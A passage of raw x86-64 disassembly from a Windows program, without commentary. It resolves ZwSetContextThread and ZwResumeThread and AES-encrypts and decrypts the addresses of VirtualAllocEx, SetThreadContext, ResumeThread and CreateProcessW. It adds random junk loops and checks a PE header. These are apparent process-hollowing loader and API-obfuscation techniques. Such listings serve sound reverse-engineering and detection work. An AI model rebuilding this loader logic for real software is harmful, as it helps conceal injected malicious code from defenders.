mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006436
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006436
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rbx
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140006493
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000648d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000648d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], rbx
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x1400064f1
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400064eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], rbx
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x140006560
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006548
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006548
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rbx
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x1400065a5
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000659f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000659f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], rbx
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006602
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 1
jmp 0x140008e4e
lea rdx, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rdx, qword [rbp + 0x600]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x1400066f6
lea rdx, str.Failed_to_get_address_of_ZwSetContextThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x600]
call fcn.14000a490
nop
lea rcx, [rbp + 0x620]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x588]
call fcn.14000a490
nop
lea rcx, [rbp + 0x550]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a490
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000a490
nop
lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
mov eax, 1
jmp 0x140008e4e
mov ecx, pe_nt_image_headers64
call fcn.14000de40
mov rdi, rax
mov ecx, pe_nt_image_headers64
call fcn.14000de40
mov rsi, rax
mov dword [rbp - 0x4c], ebx
mov dword [rbp - 0x48], ebx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x950]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x740]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 0xf
lea r9, str.ZwResumeThread
lea r8, [rbp - 0x4c]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x4c]
add rdx, rdi
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x4c], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 8
lea r9, [rbp]
lea r8, [rbp - 0x48]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x48]
add rdx, rsi
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x48], eax
mov dword [rbp - 0x40], 0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x4c]
mov dword [rsp + 0x20], eax
mov r9, rdi
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x990]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x40]
lea rdx, [rbp + 0x990]
add rdx, rax
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x40], eax
xor edi, edi
mov qword [rbp - 0x20], rdi
mov dword [rbp - 0x3c], edi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x48]
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x3c]
lea rdx, [rbp - 0x20]
add rdx, rax
lea r8, [rbp + 0x4f0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4f0]
add dword [rbp - 0x3c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rsp + 0x50], edi
mov dword [rbp - 0x44], edi
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x38], edi
mov dword [rbp - 0x54], edi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub rax, r15
mov qword [rbp + 0x698], rax
sub r12, r15
mov qword [rbp + 0x6a0], r12
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, r15
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, r15
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, r15
mov qword [rbp + 0x6b8], rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x810]
lea rcx, [rbp + 0x698]
call fcn.1400041b0
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x44]
lea r8, [rbp + 0x850]
lea rcx, [rbp + 0x6a0]
call fcn.1400041b0
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
lea r8, [rbp + 0x890]
lea rcx, [rbp + 0x6a8]
call fcn.1400041b0
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x38]
lea r8, [rbp + 0x8d0]
lea rcx, [rbp + 0x6b0]
call fcn.1400041b0
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x910]
lea rcx, [rbp + 0x6b8]
call fcn.1400041b0
xor r12d, r12d
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140006ae7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rbp - 0x58]
add ecx, edi
mov dword [rsp + 0x54], ecx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rbp - 0x58]
sub ecx, eax
mov dword [rsp + 0x54], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140006a84
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006b1d
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006bca
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006b53
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006ba5
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x810]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006b81
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006ba5
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp + 8]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006bc1
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006c00
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006cac
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006c36
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006c87
mov eax, dword [rbp - 0x44]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x850]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006c63
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006c87
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x18]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006ca3
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006ce2
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006d94
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006d18
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006d6f
mov eax, dword [rbp - 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x890]
lea r8, [rbp - 0x44]
lea rdx, [rbp + 0x690]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006d48
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006d6f
movsxd rax, dword [rbp - 0x44]
lea rdx, [rbp + 0x690]
add rdx, rax
lea r8, [rbp - 0x44]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006d8b
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006dca
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006e7c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006e00
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006e57
mov eax, dword [rbp - 0x38]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x8d0]
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x670]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006e30
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006e57
movsxd rax, dword [rbp - 0x50]
lea rdx, [rbp + 0x670]
add rdx, rax
lea r8, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006e73
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006eb2
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006f5e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006ee8
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006f39
mov eax, dword [rbp - 0x54]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x910]
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006f15
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006f39
movsxd rax, dword [rbp - 0x38]
lea rdx, [rbp - 0x10]
add rdx, rax
lea r8, [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006f55
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x18]
add rax, r15
mov qword [rbp - 0x38], rax
mov rbx, qword [rbp - 0x10]
add rbx, r15
lea rdi, [rbp + 0xca0]
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rbp + 0xa90]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp word [rax + rdi*2], r12w
jne 0x140006f90
add rdi, rdi
mov r8, rdi
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0xca0]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rdi + 0xca0], ax
mov rax, qword [rbp - 0x80]
movzx eax, word [rax]
mov word [rbp + rdi + 0xca2], ax
movsxd r15, dword [0x14001710c]
lea rax, [0x1400170d0]
add r15, rax
cmp dword [r15], 0x4550
je 0x1400073d7
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140007032
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000702c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000702c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007090
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000708a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000708a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x1400070ee
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x14000714c
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007146
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007146
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400071aa
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400071a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140007219
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007201
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007201
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x14000725e
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007258
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007258
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x1400072bc
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
